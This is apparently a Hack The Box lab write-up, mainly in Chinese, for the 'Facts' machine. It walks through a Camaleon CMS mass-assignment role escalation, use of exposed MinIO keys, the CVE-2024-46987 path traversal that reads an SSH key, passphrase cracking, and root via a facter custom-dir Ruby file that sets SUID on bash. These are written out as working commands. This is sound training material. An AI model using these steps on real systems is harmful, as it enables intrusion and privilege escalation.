
HTB Facts is a Easy Linux box featuring Camaleon CMS and MinIO. Gain admin access via open registration and a mass assignment vulnerability, then extract MinIO credentials from admin settings. Use CVE-2024-46987 path traversal to steal an SSH private key, crack its passphrase, and escalate to root by abusing sudo permissions on facter via GTFOBins.
难度: 中等
操作系统: Linux
标签: Web, MinIO, Camaleon CMS, 路径遍历, SSTI, 权限提升
首先进行全 TCP 端口扫描以识别开放服务。
nmap -p- --min-rate 5000 -T4 10.129.244.96
结果:
| 端口 | 服务 | 备注 |
|---|---|---|
| 22 | SSH | OpenSSH |
| 80 | HTTP | Nginx 1.26.3 (Ubuntu) |
| 54321 | 未知 | 识别为 MinIO |
将目标添加到 /etc/hosts:
echo "10.129.244.96 facts.htb" >> /etc/hosts
访问 http://facts.htb 显示一个基于 Camaleon CMS (Ruby on Rails) 构建的问答网站。关键标识:
_factsapp_session (Rails 会话)/assets/themes/camaleon_first/nginx/1.26.3 (Ubuntu)枚举站点地图以获取所有可用页面:
curl -s http://facts.htb/sitemap.xml
发现的重要路径:
/admin → 重定向到 /admin/login/rss/animal-ejected、/anne-frank 等。检查管理员登录面板:
curl -v http://facts.htb/admin
# → 302 重定向到 /admin/login
使用 curl 探测未知端口,发现 MinIO,一个兼容 S3 的对象存储服务:
curl -v http://facts.htb:54321
响应:
<Error>
<Code>AccessDenied</Code>
<Message>Access Denied.</Message>
</Error>
报头确认:Server: MinIO
枚举可能的存储桶名称(全部返回 403,确认存在):
for bucket in facts backup uploads media files images data private secret admin internal; do
code=$(curl -s -o /dev/null -w "%{http_code}" http://facts.htb:54321/$bucket)
echo "$bucket: $code"
done
全部返回 403 Forbidden — 存储桶存在但需要凭证。
从资源路径和会话 cookie 来看,该 CMS 被识别为 Camaleon CMS。
检查已知漏洞:
searchsploit camaleon
结果:
Camaleon CMS v2.7.0 - Server-Side Template Injection (SSTI) | ruby/webapps/51489.txt
管理员面板版本确认为 2.9.0(登录后在页脚可见)。
管理员登录页面 http://facts.htb/admin/login 包含一个 "创建账户" 链接。注册一个新账户:
http://facts.htb/admin/users/sign_uptest123 / test123)Client 角色账户注册后,登录到管理员仪表板。该账户具有有限的 Client 权限。
Camaleon CMS 在密码更改端点存在 批量赋值 漏洞。通过拦截密码更改请求并注入 password[role] 参数,攻击者可以将自己的角色提升为 admin。
使用 Burp Suite 的步骤:
Client 账户登录管理员面板。Profile → Edit → Change Password。&password[role]=admin:_method=patch&authenticity_token=<TOKEN>&password%5Bpassword%5D=test123&password%5Bpassword_confirmation%5D=test123&password[role]=admin
200 OK。该账户现在拥有 admin 权限,可以完全访问 CMS 管理员面板,包括 Settings、Media 和 Filesystem Settings。
使用管理员权限,导航到:
Settings → General Site → Filesystem Settings
该页面显示硬编码的 MinIO(兼容 AWS S3)凭证:
AWS S3 Access Key: AKIA59D605615FFC8875
AWS S3 Secret Key: O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt
AWS S3 Bucket Name: randomfacts
AWS S3 Region: us-east-1
AWS S3 Endpoint: http://localhost:54321
配置 AWS CLI 并枚举存储桶:
export AWS_ACCESS_KEY_ID='AKIA59D605615FFC8875'
export AWS_SECRET_ACCESS_KEY='O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt'
export AWS_DEFAULT_REGION='us-east-1'
aws s3 ls --endpoint-url http://facts.htb:54321
发现的存储桶:
2025-09-11 internal
2025-09-11 randomfacts
internal 存储桶包含 trivia 用户的家目录:
aws s3 ls s3://internal/ --endpoint-url http://facts.htb:54321
aws s3 ls s3://internal/.ssh/ --endpoint-url http://facts.htb:54321
# 下载 SSH 私钥
aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 --endpoint-url http://facts.htb:54321
另外,可以通过 CVE-2024-46987 获取 SSH 私钥,这是 Camaleon CMS 中的一个经过身份验证的路径遍历漏洞,允许读取任意服务器文件。
克隆公开的 PoC:
git clone https://github.com/Goultarde/CVE-2024-46987
cd CVE-2024-46987
读取敏感文件:
# 步骤 1:读取 /etc/passwd 以枚举系统用户
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /etc/passwd
输出(相关行):
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash
识别出两个用户:trivia 和 william。由于 trivia 有登录 shell 和家目录,检查 SSH 私钥:
# 步骤 2:读取 trivia 的 SSH 私钥
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /home/trivia/.ssh/id_ed25519
将密钥输出保存到文件:
chmod 600 id_ed25519
SSH 私钥使用密码短语加密。使用 ssh2john 和 john 破解:
ssh2john id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt
破解的密码短语: dragonballz
ssh -i id_ed25519 [email protected]
# 输入密码短语:dragonballz
获取用户 flag:
cat /home/william/user.txt
检查 trivia 用户的 sudo 权限:
sudo -l
输出:
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter
该用户可以无需密码以 root 身份运行 /usr/bin/facter。facter 是一个基于 Ruby 的系统信息工具。
根据 GTFOBins,facter 可以通过 --custom-dir 加载自定义 Ruby fact 文件,这些文件将以调用用户(此处为 root)身份执行。
利用:
# 创建 exploit 目录和 Ruby payload
mkdir -p /tmp/exploit_facts
cat > /tmp/exploit_facts/evil.rb << 'EOF'
system("chmod +s /bin/bash")
EOF
# 以 root 身份使用自定义目录执行 facter
sudo /usr/bin/facter --custom-dir=/tmp/exploit_facts/ x
# 验证 bash 上是否设置了 SUID 位
ls -la /bin/bash
# -rwsr-sr-x 1 root root ...
# 生成 root shell
/bin/bash -p
whoami
# root
cat /root/root.txt
| Flag | 位置 |
|---|---|
| user.txt | /home/william/user.txt |
| root.txt | /root/root.txt |
Nmap Scan
↓
Port 80: Camaleon CMS 2.9.0
↓
Register Client Account → Admin Panel
↓
Mass Assignment: password[role]=admin → Admin Role
↓
Admin Settings → MinIO Credentials Exposed
↓
CVE-2024-46987: Path Traversal → Read /home/trivia/.ssh/id_ed25519
↓
ssh2john + John → Passphrase: dragonballz
↓
SSH Login as trivia
↓
sudo facter --custom-dir (GTFOBins) → chmod +s /bin/bash
↓
/bin/bash -p → root
| CVE | 描述 |
|---|---|
| CVE-2024-46987 | Camaleon CMS 经过身份验证的路径遍历 / 任意文件读取 |
| CVE-2023-30145 | Camaleon CMS v2.7.0 通过 formats 参数的 SSTI(此靶机未使用) |